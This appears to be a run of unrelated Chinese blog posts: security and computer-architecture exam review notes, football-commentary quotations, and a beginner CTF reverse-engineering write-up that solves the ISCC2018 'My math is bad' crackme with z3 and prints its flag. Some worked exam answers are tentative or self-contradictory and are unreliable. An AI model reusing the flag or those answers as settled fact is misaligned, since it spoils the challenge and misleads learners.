IPSEC和ssl的区别https://m.yisu.com/ask/3162.html
应急计划和连续性计划的区别。APT攻击的影响。CC准则中st和pp的区别。一个大秘密K由两个秘密s和m组成,两个子秘密不可以暴露,分发给n个人如何分发。不可以用ocsl和什么(记不清楚了),使用rsa门限算法,和秘密分享技术。设计一个服务器撤销证书之后,用户立刻不可以进行签名。描述其具体过程。
其他假设A和B均拥有由可信第三方CA签发的证书CerA和CerB,以及可信第三方CA的根证书。若A想要与B进行双向身份鉴别,并进行加密通信,请详细描述A、B完成上述需求所需的步骤,以RSA算法为例。
1.A给B发送client hello,带有随机数、支持的协议版本、支持的算法列表
2.B给A发送server hello,带有随机数,选定协议版本和算法(RSA)
3.B给A发送B的证书,含有RSA公钥
4.A通过CA根证书验证B的证书
5.验证通过后A选定48字节随机数,用B的证书公钥加密后发给B
6.A发送自己的证书给B
7.B通过CA根证书验证A的证书
8.双方计算通信需要的密钥等,开始加密通信
9.A通知B启用协商好的算法
10.A结束
11.B通知A启用协商好的算法
12.B结束
请调研和分析目前PMI(Privilege Management Infrastructure)没有大规模使用的原因PMI(Privilege Management Infrastructure)是一种用于管理计算机系统中用户权限的基础设施。它可以帮助组织控制哪些用户可以执行哪些操作,从而提高系统的安全性。但是,目前 PMI 还没有得到大规模使用的原因是:
实施较为复杂:PMI 需要在计算机系统中部署多个软件组件,这需要较高的技术水平和较长的时间。
实施成本较高:实施 PMI 需要购买软件和硬件,以及训练员工,这会带来较高的成本。
维护较为困难:PMI 的软件组件繁多,维护起来较为困难。
缺乏普及性:PMI 目前并没有得到广泛的接受和使用,因此组织可能比较担心风险。
总之,PMI 还没有得到大规模使用的原因是实施较为复杂、实施成本较高、维护较为困难和缺乏普及性等。
ucas-软件安全原理-复习
根据*的数量标识重要程度,最高级 ***
一、软件安全重新认识软件*软件的重要性:软件是构建网络空间的“水泥”
软件的最本质特性:可编程(programmable)
软件是不负责任的产品 为什么??()
软件和程序的定义
软件是用户与硬件之间的接口,用户通过软件与计算机交流
软件包括 程序、数据和文档
程序是一组通过计算机执行,以完成特定任务的指令
程序包括以下类型: 源程序、汇编代码、目标程序
软件、网络空间安全发展历程这是一条线,完整的发展过程,未来做研究等,也可以按照类似的方法
编程语言、操作系统、专用软件的发展路线,反映了这些年软件技术交叠发展的态势
什么是软件安全 ***软件安全是网络空间安全的重要部分. 主要研究软件的防御机制与技术,软件脆弱性分析与漏洞利用技术,网络系统环境中软件的攻防博弈,以及软件安全性的工程化保障方法.
白帽与黑帽 *黑帽子(破坏方法):与攻击、攻击程序和破解软件相关的方法
白帽子(建设方法):与设计、防御和功能性相关的方法
软件安全三部曲 ***
软件安全防御:从”白帽“的视角,研究软件的各类防御机制
软件安全分析和利用:从”黑帽“的视角,研究软件存在的各种安全脆弱性问题以及高效发现及利用方法
安全的软件开发:确保软件安全的工程化方法,BSI是其核心思想,需要贯彻始终
主席网络安全观 **
一、关于网络安全的定位
1.没有网络安全就没有国家安全
2.网络安全为人民,网络安全靠人民
二、关于安全和发展的关系
1.网络安全和信息化是一体之两翼,驱动之双轮
2.以安全保发展,以发展促安全
三、关于网络安全法治
1.互联网不是法外之地
2.坚持依法治网、依法办网、依法上网
四、关于网络空间技术能力
1.大力发展核心技术,加强关键基础信息设施安全保障
2.最关键最核心的技术要立足自主创新、自立自强
五、关于网络安全人才建设
1.网络空间的竞争,归根结底是人才的竞争
2.形成人才培养,技术创新,产业发展的良性生态
六、关于互联网国际治理
1.尊重网络主权,维护和平安全,促进开放合作,构建良好秩序
2.构建网络空间安全命运共同体
《网络信息安全的真相》**
木桶原理(国外更倾向于叫链条原理?): 安全防御系统的强度是由其最薄弱环节的强度决定的
PDR模型:安全防御是一个过程,包含防护-检测-响应等基本环节
没有银弹:没有一个实际系统是无懈可击的,没有一项安全技术可以包治百病
软件安全与网络安全的关系 **
网络空间各种各样部件的大多数功能都是通过软件实现的,因此软件漏洞将直接影响网络空间的安全
围绕软件漏洞,无论是攻击还是防御,实际上都是在网络层面展开对抗
软件安全研究视角源代码 汇编代码 机器码
要贯穿于这几个层次来综合分析,才会更好!
理解程序是软件安全攻防的基本功
掌握程序的生成与运行原理是理解程序的前提
二、逆向工程基础概念 定义 *逆向工程:通过观察系统及其行为,建立其结构蓝图,以弄清其运行规律的过程
软件逆向工程: 针对软件的逆向工程
目标软件/程序: 运用逆向工程进行分析的特定软件或程序
程序编译过程
程序的运行过程 *栈桢中存放的东西
三种逆向方法比较
逆向工程的敌手
围绕逆向分析的博弈对抗 *
具体的内容如下图
三、安全的软件开发(SDL) **
软件安全问题的根源 *
软件(安全)的三大问题:复杂性、互连性、可扩展性复杂性:软件的规模和复杂性无节制增长,影响因素还有代码集成的紧密程度,补丁等,编译连接后的代码库会变大
互联性:互联网增加了攻击目标的数量,简化了实施攻击的方法,通过网络访问不需要人工干预,很容易启动,当前企业体系结构在互联环境下暴露出越来越多的安全隐患
可扩展性:可以通过插件等方式提供附加功能,导致难以阻止通过插件引入漏洞
软件开发的三大问题:复杂性、复用性、劣币效应为什么软件是不负责任的? 可以从软件开发的三大问题, 劣币效应这里回答
因为众多开发商对安全仍然不够重视,更加重视的是产品的功能以及快速上线,抢占市场. 于是产生了劣币排斥良币的现象.
内构安全(build security in /BSI) ** 内构安全是一种协同化努力,通过提供实践、工具、指南、规则、原则及其他资源,让软件开发者、架构师和安全参与人员可以借此在软件开发的每个阶段将安全构建到软件中去
软件安全三大支柱 **
支柱一:风险管理 *
在整个SDLC中,识别、评级、追踪风险是软件风险实践的关键
安全接触点是与特定类型的RMF结合的最佳实践. 一旦针对特定软件的安全最佳实践“锁定”了一组风险,就会得到适当的处理
没有百分百的安全.只有通过实施风险管理,并充分考虑那些受影响的关键商业信息,才能让软件安全走出“技术王国”,为商业带来价值
支柱二:安全接触点 **软件安全接触点: 在软件开发生命周期中保障软件安全的一组最佳实践
这些接触点从黑帽子(渗透和攻击)和白帽子(防御和保护)两个方面综合考察软件开发中可能出现的问题
结合了接触点的软件开发生命周期(SDLC)就成为SDL,可在每个阶段尽可能避免和消除漏洞,同时又保留了熟悉的工作方式
它是软件安全的三大支柱的核心
支柱三:安全知识 **
![image-20230103092233471](ucas-软件安全原理-复习/image-202301030922 33471.png)
安全知识与接触点 **记住这张图,并会进行相关的判断,例如 渗透测试是用来针对需求和使用案例的吗? x
软件安全的缺点(缺陷和瑕疵) *
缺点分为了缺陷和瑕疵,都可以导致漏洞
华为、微软为什么要实施SDL
针对安全接触点和软件工件,对应哪一部分?
四、软件全球供应链安全 *
问到软件供应链和前面讲到的三部曲的过程的关系,
案例 *
五、操作系统安全
分段、分页
段保护、页保护
宏内核、微内核
固件
操作系统脆弱性和保护机制 *
围绕缓冲区溢出对抗的博弈演进 **
六、浏览器安全 B/S浏览器参考架构
同源策略
攻击面分析 *
七、移动安全
ucas-计算机体系结构-复习上
当初选这门课,就是想打牢计算机基础,没想着真要造CPU…课程确实是有点难度的,所以对于这次期末考试,我的计划是,着重复习重点的知识以及目前和可预见的将来对自己比较重要的章节,至少保证及格!! 然后学到一点东西!
必考题型复习https://blog.csdn.net/qq_43840665/article/details/122281422
https://f.daixianiu.cn/csdn/4209862890104209.html
本科教材《》
可以做做本科后面的那个习题
第一二章考点: 性能、成本、功耗的计算性能:根据指令算IPC,两台机器比较性能,那个多长时间执行了多少指令
成本:硅片成本
功耗:静态功耗、动态功耗
习题1: 性能计算在3台不同指令系统的计算机上运行同一程序P时,A机需要执行 1.0 * 10^8 条指令,B机需要执行 2.0 * 10^8 条指令,C机需要执行4.0 * 10^8条指令,但实际执行时间都是10s。请分别计算这3台机器在运行程序P时的实际速度,以MIPS为单位。这3台计算机在运行程序P时,哪一台性能最高?为什么?
解答:123常用指标MIPS(Million Instructions Per Second),每秒钟执行多少条指令. 所以每个数除10s,并且再除10的6次方(百万)如果看性能的话,还是要比较时间,所以性能一样A:10MIPS B:20MIPS C:40MIPS
基础知识: MIPS并不是很合理,因为没有说明一条指令能干多少事.目前常用的一个性能指标还有MFLOPS,它是指每秒钟做多少个浮点运算.也可能会考,这个指标也有类似的问题,没衡量能做多少事.
习题5: 功耗计算对某处理器进行功耗测试,得到如下数据:时钟不翻转,电压1.05V时,电流为500mA;时钟频率为1GHz,电压1.1V时,电流为2500mA。请计算在1.1V下,此处理器的静态功耗以及500MHz下的总功耗。
基础知识:总功耗 = 动态功耗+ 静态功耗
动态功耗与时钟频率(翻转率)成正比
解答:先在时钟不翻转时计算电阻, R = U/I, R=2.1欧姆. 静态功耗是不变的,此时可以计算静态功耗,静态功耗 = U*U / R = 1.1 * 1.1 / 2.1 = 0.576w
我们此时计算出1.1v,1GHz下的动态功耗,然后进行比例计算,就可以得到500MHz下的动态功耗了,
1.1v,1GHz下的动态功耗 = 总功耗 - 静态功耗 = U * I - 静态功耗 = 1.1 * 2.5 - 0.576 = 2.174w
所以500MHz下的动态功耗 = 500/1000 * 2.174 = 1.087 w
所以500MHz下的总功耗 = 动态功耗 + 静态功耗 = 1.087 + 0.576 = 1.663w
第三章 二进制与逻辑电路浮点数的表示不考,但是定点数的要考
习题1:定点数的表示(1)分别给出64位定点原码和补码表示的数的范围原码: 最高位符号位 0正 1负
正: 0~ 2的63次方-1
负: -(2的63次方-1) ~0
综上,
补码:
正:0~ 2的63次方-1
负:-2的63次方 ~ -1
综上
(2)在32位定点补码表示中,0x80000000表什么数1000 0000 0000 0000 0000 0000 0000 0000
这个是补码,转换成原码后再算,
最高位不变,其余转换,然后最低位+1, 于是得到 32个0和最高位的1,溢出了??????????????
所以答案是-2的31次方
习题三:画出 e=a&b | c&d 的晶体管级电路图本科教材p184
解法1:
首先由N管组成“正逻辑”,串联表示与,并联表示或. 再用P管组成“反逻辑”,串联表示或,并联表示与.最后再把正反逻辑串联
这得到的是 ~(a&b | c&d ), 可以加一个反相器,
解法2:
先做一个转换,转换成两级与非门的逻辑,然后再画,与非门什么的参考本科教材, 转换的话,记住那些转换公式
e=a&b | c&d = ((A&B) & ~(C&D))
还是这个做法:首先由N管组成“正逻辑”,串联表示与,并联表示或. 再用P管组成“反逻辑”,串联表示或,并联表示与.最后再把正反逻辑串联
分别8⃣️
习题四: 计算一个FO4的延迟,假设反相器的输入电容位0.0036pF,平均每个负载连线电容位0.0044pF,翻转延迟位0.023ns,每pF延迟为4.5ns课本p48
FO4延迟 = 本征延迟(本身延迟) + 负载延迟 = 0.023 + 4.5((0.0036+0.0044)*4) = 0.167ns
负载延迟又和该电源的负载相关
第五章 静态流水线哪个是真相关,哪个是假相关?
五级流水的时空图,前递 ,有无前递(旁路)
给几条指令,有无前递的 画出来
和转移相关的就比较复杂了,
这里不能够前递是因为取址loadword指令的话需要访存阶段才能够拿到数值吧
空操作指令 nop的作用空操作指令(nop 指令),其不改变程序可见寄存器、状态寄存器以及内存的状态,以及用于等待需要一定周期执行的操作。nop 指令的作用,常见的有:取指的强制访存对齐(memory alignment),防止相关风险(hazard),以及用于填充延迟槽(branch delay slot)。
第六章执行延迟:统一到这个
mips 转移指令有延迟槽??
https://blog.csdn.net/weixin_43752162/article/details/122136323
前递(旁路)有哪几种?mem -》 ex
ex -〉 ex
啥叫全旁路??
load的时候需要在mem才能给前递??
mips寄存器第七章 多发射
第八章 转移预测今年大概率考那个预测情况,推演?看ppt
分析:for (i=0;i<10;i++) for(j=0;j<10;j++){…}的分支预测正确率。(2021复习题)
分析:for (i=0;i<10;i++) for(j=0;j<10;j++) for(k=0;k<10;k++){…}的分支预测正确率。(2021真题)
(7+999)/1000,(7+99)/100,7/10?
for(R3=9;R3>0;R3–)for(R2=9;R2>0;R2–)for(R1=9;R1>0;R1–){…}
R0的值恒为0
BENZ,BEQZ均为条件分支指令;BENZ R1,NAME;//R1不等于0,程序跳转,以NAME为偏移地址BEQZ R1,NAME;//R1=0,程序跳转到,以NAME为偏移地址否则,执行下一条指令
**bne (不相等则分支):**bne $s0,$s1,L1
第九章 运算部件华莱士树
第十章: 高速缓存VIPT(虚index,实tag)结构中,需要在cache中使用页着色技术.vipt即用虚拟地址索引cache,用物理地址匹配tag
当vipt的cache,每一路的容量大于页的大小的时候,就会出现cache别名问题
这个同学总结的非常精辟…我就不多费时间了…
考虑如下情况:32位机器,虚地址V1:0xe0001120 虚地址V2:0xf0002120,都映射到物理地址P: 0x00000120。页大小4KB,占地址的低12位。于是虚拟地址和物理地址的第12位一定相同。当Cache每路的大小不超过页大小时,用来i n d e x indexindex的地址位在[ 11 : 0 ] 之间,于是V1和V2的i n d e x indexindex相同,在Cache中索引到同一项,于是不会出现别名。 当Cache每路的大小超过页大小时,如每路容量8KB,用来i n d e x indexindex的地址位在[ 12 : 0 ]之间。而V1和V2的第13位不同,于是索引到Cache的不同行,于是出现了同一物理地址的多处备份,也即别名。为解决别名问题,引入软件的页着色,它保证,在给虚拟地址分配物理地址时,如果两个虚拟地址映射到同一物理地址,要求两个虚拟地址的页着色位相同,即上图中对应Cache I n d e x IndexIndex与P a g e − o f f s e t Page-offsetPage−offset之间差额的灰色部分相同。
第十一章: 存储管理
16*4 + 128
(64/2 + 64/2 ) * 3 + 64
(64/2 + 64/2 ) * 3 + 64
算的有点小问题….一个tlb项对应两个物理页才对
ab都128页
256次invalid
refill的话 注意看两次循环是一个从头开始,一个从尾部开始,所以最后应该要有重叠的部分!
应该是256-32
20年题目1
五级流水: 取址,译码,执行,访存,写会 IF,ID,EX,MEM,WB 英文全称是什么呢??
指令相关: 数据相关、结构相关和控制相关
数据相关: WAW,RAW,WAR
2
注意还要除 million, 10的6次方
(1)
A:2 B:4 C:3 MIPS
(2) 都一样,因为运行时间一样
3
(1)
原码: -2的63次方+1 ~ 2的63次方-1
补码: -2的63次方 ~ 2的63次方-1
(2)
补码:1111 1111 ………………
原码:1 0000000…… 1
所以是-1
4
5
6 电路图
7 多处理器9 转移猜测
10
128+32invalid 64+32refill来着
7788的存储
所以第十章第一题那三个如果都是32位处理器情况下tag都是31:12吗
从足球解说-诗人贺炜那里学到的诗词歌赋
生活可能不像你想象的那么好,但是也不会像你想象的那么糟.
–莫泊桑《人生》
这个世上只有一种真正的英雄主义,那就是认清生活的真相并且仍然热爱它.
–罗曼罗兰 《米开朗琪罗》
胜不妄喜,败不惶馁,胸有激雷而面如平湖者,可拜上将军也.
–司马迁《史记》
在人的一生中最为辉煌的一天并不是功成名就的那一天,而是从悲叹和绝望中产生对人生挑战的欲望,并且勇敢地迈向这种挑战的那一天
–福楼拜
一个真正的强者,在面对着非常严峻的形势,面对着命运的折磨的时候,他们能够挽救自己,他们有坚强的神经,这个坚强的神经,钢铁一般的意志,一直流淌在德意志足球的血液当中.
这是值得葡萄牙足球纪念的一个夜晚,法兰西球场的烟火为冠军而点燃,这就是足球,无论有多少人支持,你始终要为在场上每一个支持你的人拼尽全力,这不在乎数量的多少,也不在乎是在哪块土地上.
每个人都有梦想,但不一定每个人都能达成自己的梦想,其实大部分人都达不到自己的梦想,但是最让人敬佩的人,不光是那些达成梦想的人,还是那些一直努力到梦想大门门口,也许他倒在那个门口,但是你知道他拼尽了最后的一份力气.
他在很多情况下都成为巴西的救世主,这一次他还会成为巴西的救星吗?所有的人都在屏住呼吸, 助跑….打门…….非常漂亮!!!他相当的冷静,巴西队的十号球衣的主人,一定要有如此强大的心脏
谁说这个世界是冰冷而残酷的,像乌拉圭人一样,只要你胸怀坚定的信仰,做好充分的准备,保持高昂的斗志,这个世界说不定就会揭开它冰冷的面纱,向你露出灿烂的微笑
他们尽力了,人生当中总是有你能力所不及的范围,但是如果在你能力所及的范畴内,你尽到了自己全部的努力,那你还有什么可以遗憾
夜幕之下的马拉卡纳,迎来了他的第二次世界杯决赛,科科瓦多山顶的救世基督,在俯瞰着红尘俯瞰着众生,所有的悲欢离合都没有什么大不了,但是我们毕竟身处红尘.
也许他们会明白莫泊桑的一句话,生活可能不像你想象的那么好,但是,也不会像你想象的那么糟。人的脆弱和坚强,都超乎了自己的想象。有时候可能脆弱的一句话就会泪流满面,有时候,你发现自己咬着牙已经走了很长的路
人类情绪当中的,最高昂的情绪和最低落的情绪,交相辉映而成,也许只有在失利者落寞的陪伴之下,胜利者才感觉得到幸福的滋味,而我们旁观的球迷,在这样的情感交织当中,终于体会到了活着的意味.
自古打天下难,守天下更难,没有人可以永远站在顶峰,即使你可以做到居安思危,未雨绸缪,但是你身边全都是和你当年一样充满野心,充满激情和充满渴望的年轻人,他们把你的长处和短处放在显微镜下去研究,以及为标靶,你说你守天下难不难. 人生当中成功只是一时的,失败却是主旋律,但是如何面对失败却把人分成了不同的样子,有的人会被失败击垮,有的人能够不断的爬起来继续向前。我想真正的成熟应该并不是追求完美而是直面自己的缺陷,这才是生活的本质。罗曼罗兰说过的,这个世界上只有一种真正的英雄主义,那就是认清生活的真相并且任然热爱他。西班牙队从头再来吧! 难道向上攀爬的那条路不是比站在顶峰更让人热血澎湃吗
达利奇的面上基本上没有什么表情,但是这,正是他的力量所在,胜不妄喜,败不惶馁,胸有激雷而面如平湖者,可拜上将军也.
参考资料https://www.bilibili.com/video/BV1kK41167ot
https://www.bilibili.com/video/BV14h411C7aL
逆向入门-1-初探
因为最近要给校队出题,本来出web,有个同学安排的re,但是他没学过,想和我换,虽然之前没系统接触过re,但是在学pwn的过程中也了解基本的逆向,就和他换了,借此机会简单学学逆向题目的思路.
先来看这个社团ctf竞赛的题目,能够对逆向有个基本的认知,大概就是给你一个编译好了的二进制文件,反汇编反编译后得到伪代码,然后梳理伪代码的逻辑,去逆算法等,找到一个正确的输入值,从而或者输出值(flag)
例如下面这个例子,需要你输入flag,然后和正确的flag进行对比,对比正确则成功
1234567891011121314151617181920212223242526272829303132333435363738394041#include <stdio.h>int check_flag(char flag[]);int main(){ char flag[30]; printf("输入的flag为:"); fgets(flag,30,stdin); check_flag(flag); return 0;}int check_flag(char flag[]){ if(flag[0] == 'f') { if(flag[1] == 'l') { if(flag[2] == 'a') { if(flag[3] == 'g') { printf("yes,this is a flag"); getchar(); return 0; } } } } else { return 0; }}root@VM-24-10-ubuntu:/home/ubuntu/reverse# gcc check.c -o checkroot@VM-24-10-ubuntu:/home/ubuntu/reverse# ./check输入的flag为:flagyes,this is a flag
待完善 还是用上面链接里的例子,最后一题. 它是windows环境的,我的电脑是mac,进行一个简单修改,换成Linux下能运行的
1
ISCC2018-My math is badhttps://rcoil.me/2018/05/【CTF】ISCC-2018/
这个题需要你给一个输入s,然后s被拆成了8个部分,然后这8个部分需要满足一些条件,都满足后,就可以得到flag了
123456789101112131415161718__int64 __fastcall main(int a1, char **a2, char **a3){ puts("======================================="); puts("= Welcome to the flag access machine! ="); puts("= Input the password to login ... ="); puts("======================================="); __isoc99_scanf("%s", s); if ( (unsigned int)sub_400766("%s", s) ) { puts("Congratulations! You should get the flag..."); sub_400B16("Congratulations! You should get the flag..."); } else { puts("Wrong password!"); } return 0LL;}
输入的s被拆成了很多部分, 为什么呢…
1234567891011121314151617181920212223242526.bss:00000000006020A0 s db 4 dup(?) ; DATA XREF: sub_400766+8↑o.bss:00000000006020A0 ; sub_400766:loc_400788↑o ....bss:00000000006020A4 ; int dword_6020A4.bss:00000000006020A4 dword_6020A4 dd ? ; DATA XREF: sub_400766+2F↑o.bss:00000000006020A8 ; int dword_6020A8.bss:00000000006020A8 dword_6020A8 dd ? ; DATA XREF: sub_400766+3C↑o.bss:00000000006020AC ; int dword_6020AC.bss:00000000006020AC dword_6020AC dd ? ; DATA XREF: sub_400766+49↑o.bss:00000000006020B0 unk_6020B0 db ? ; ; DATA XREF: sub_400766+56↑o.bss:00000000006020B1 db ? ;.bss:00000000006020B2 db ? ;.bss:00000000006020B3 db ? ;.bss:00000000006020B4 unk_6020B4 db ? ; ; DATA XREF: sub_400766+63↑o.bss:00000000006020B5 db ? ;.bss:00000000006020B6 db ? ;.bss:00000000006020B7 db ? ;.bss:00000000006020B8 unk_6020B8 db ? ; ; DATA XREF: sub_400766+70↑o.bss:00000000006020B9 db ? ;.bss:00000000006020BA db ? ;.bss:00000000006020BB db ? ;.bss:00000000006020BC unk_6020BC db ? ; ; DATA XREF: sub_400766+7D↑o.bss:00000000006020BD db ? ;.bss:00000000006020BE db ? ;.bss:00000000006020BF db ? ;.bss:00000000006020C0 db ? ;
根据sub_400766可知v2 = unk_6020B0;v3 = unk_6020B4;v4 = unk_6020B8;v5 = unk_6020BC;
所以s = s + dword_6020A4 + dword_6020A8 + dword_6020AC + unk_6020B0 + unk_6020B4 + unk_6020B8 + unk_6020BC
所以我们的目标就是解出来每个值,然后就得到了正确的输入,输入这个s,就可以得到flag了
python的z3库,解很多约束https://blog.csdn.net/A951860555/article/details/120177253
https://blog.csdn.net/weixin_52369224/article/details/120922901
把题目给的第一个约束条件转换一下,就得到一个四元一次方程组,进行求解即可
12345678( dword_6020A4 * s - dword_6020AC * dword_6020A8 == 0x24CDF2E7C953DA56 )( 3* dword_6020A8 + 4 * dword_6020AC - dword_6020A4 - 2*s == 397958918 )( 3 *s * dword_6020AC - dword_6020A8 * dword_6020A4 == 0x2E6E497E6415CF3E )( 27 * dword_6020A4 + s - 11 * dword_6020AC - dword_6020A8 == 0x95AE13337 )
利用python的z3库进行求解.
pip install z3-solver
1234567891011121314from z3 import * dword_6020A4 = Int('dword_6020A4')dword_6020AC = Int('dword_6020AC')dword_6020A8 = Int('dword_6020A8')s = Int('s')solve ( dword_6020A4 * s - dword_6020AC * dword_6020A8 == 0x24CDF2E7C953DA56, 3* dword_6020A8 + 4 * dword_6020AC - dword_6020A4 - 2*s == 397958918 , 3 *s * dword_6020AC - dword_6020A8 * dword_6020A4 == 0x2E6E497E6415CF3E, 27 * dword_6020A4 + s - 11 * dword_6020AC - dword_6020A8 == 0x95AE13337 )
求解得到下面的值
12345root@VM-24-10-ubuntu:/home/ubuntu/re# python3 1.py[dword_6020A4 = 1801073242, dword_6020AC = 862734414, dword_6020A8 = 829124174, s = 1869639009]
然后再进一步往下走,利用c的srand得到随机数种子,然后下面的几个值就确定了,又根据这四个判断条件,即四元一次方程组,又可以解出四个值来
123456789101112131415srand(dword_6020A8 ^ dword_6020A4 ^ *(_DWORD *)s ^ dword_6020AC); v6 = rand() % 50; v7 = rand() % 50; v8 = rand() % 50; v9 = rand() % 50; v10 = rand() % 50; v11 = rand() % 50; v12 = rand() % 50; v13 = rand() % 50;if ( v5 * v7 + v2 * v6 - v3 - v4 != 0xE638C96D3LL ) return 0LL; return v5 + v2 + v4 * v9 - v3 * v8 == 0xB59F2D0CBLL && v2 * v10 + v3 * v11 - v4 - v5 == 0xDCFE88C6DLL && v4 * v13 + v2 - v3 - v5 * v12 == 0xC076D98BBLL;
先用c语言把v6-13解出来
1234567891011121314151617181920212223242526272829303132333435363738#include <stdlib.h>#include <stdio.h>int main(){int dword_6020A4 = 1801073242;int dword_6020AC = 862734414;int dword_6020A8 = 829124174;int s = 1869639009;srand((dword_6020A8)^(dword_6020A4)^(s)^(dword_6020AC));int v6 = rand() % 50;int v7 = rand() % 50;int v8 = rand() % 50;int v9 = rand() % 50;int v10 = rand() % 50;int v11 = rand() % 50;int v12 = rand() % 50;int v13 = rand() % 50;printf("%d\n",v6);printf("%d\n",v7);printf("%d\n",v8);printf("%d\n",v9);printf("%d\n",v10);printf("%d\n",v11);printf("%d\n",v12);printf("%d\n",v13);return 0;}root@VM-24-10-ubuntu:/home/ubuntu/re# ./a.out2239454535411336
然后就可以解最后一个方程组了
12345678910if ( v5 * v7 + v2 * v6 - v3 - v4 != 0xE638C96D3LL ) return 0LL; return v5 + v2 + v4 * v9 - v3 * v8 == 0xB59F2D0CBLL && v2 * v10 + v3 * v11 - v4 - v5 == 0xDCFE88C6DLL && v4 * v13 + v2 - v3 - v5 * v12 == 0xC076D98BBLL;39*v5 + 22*v2 -v3-v4 == 0xE638C96D3,v5 + v2 + v4*45 -v3*45 ==0xB59F2D0CB,v2 * 35 + v3*41 -v4 -v5 == 0xDCFE88C6D,v4 *36 + v2 - v3 - v5 * 13 == 0xC076D98BB
脚本
1234567891011from z3 import * v2 = Int('v2')v3 = Int('v3')v4 = Int('v4')v5 = Int('v5')solve ( 39*v5 + 22*v2 -v3-v4 == 0xE638C96D3,v5 + v2 + v4*45 -v3*45 ==0xB59F2D0CB,v2 * 35 + v3*41 -v4 -v5 == 0xDCFE88C6D,v4 *36 + v2 - v3 - v5 * 13 == 0xC076D98BB)
得到结果
12345[v3 = 828593230, v5 = 1195788129, v2 = 811816014, v4 = 1867395930]
根据前面信息可知v2 = unk_6020B0;v3 = unk_6020B4;v4 = unk_6020B8;v5 = unk_6020BC;
于是就得到了s的7个部分,把这些部分加起来,然后转换成ascii码即可得到输入
12345678910v3 = 828593230, v5 = 1195788129, v2 = 811816014, v4 = 1867395930dword_6020A4 = 1801073242, dword_6020AC = 862734414, dword_6020A8 = 829124174, s = 18696390091869639009180107324282912417486273441481181601482859323018673959301195788129
刚开始把这些数都连起来,然后每两个输出ascii,发现不对,后来看了wp,自己想了下,他们是10进制数,应该先把每个值转换成16进制,再输出
1234567891011121314flag = [1869639009,1801073242,829124174,862734414,811816014,828593230,1867395930,1195788129]for i in flag: i = hex(i) for j in [2,4,6,8]: #print(i[j:j+2]) print(chr(int(i[j:j+2],16)),end="")print("\n")内循环也可以这样写for j in range(2,len(i),2): print(chr(int(i[j:j+2],16)),end="")
这里遇到的问题是怎么把这个串转ascii…因为把10进制转16进制后会被认作为一个字符串,取值的话又成了十进制…用chr(int(原始的数,进制数)) 就可以了!
参考:https://www.jb51.net/article/119202.htm
但是得到的结果为什么是反的????(每四个为一组)opmakZ2Z1knN3lHN0cTN1cTNoN3ZGFGa
和大端小端有关系????????????好像不是的
j+2会不会有问题,如果不够了呢?????
那就需要反转一下了
123456789101112flag = [1869639009,1801073242,829124174,862734414,811816014,828593230,1867395930,1195788129]tmp = ""final = ""for i in flag: i = hex(i) tmp = "" for j in range(2,len(i),2): tmp += chr(int(i[j:j+2],16)).strip("\n") tmp = tmp[::-1] final += tmpprint(final)print("\n")
或者用下面的这个库(为什么这个不用反转呢?) [::-1]
123456789101112#/usr/bin/env python# coding=utf-8import libnumflag = ""x = [1869639009,1801073242,829124174,862734414,811816014,828593230,1867395930,1195788129]for y in x: flag += libnum.n2s(y)[::-1] print flag运算结果:ampoZ2ZkNnk1NHl3NTc0NTc1Z3NoaGFGopmakZ2Z1knN3lHN0cTN1cTNoN3ZGFGa
12345678root@VM-24-10-ubuntu:/home/ubuntu/re# ./My\ math\ is\ bad======================================== Welcome to the flag access machine! == Input the password to login ... ========================================ampoZ2ZkNnk1NHl3NTc0NTc1Z3NoaGFGCongratulations! You should get the flag...flag{th3_Line@r_4lgebra_1s_d1fficult!}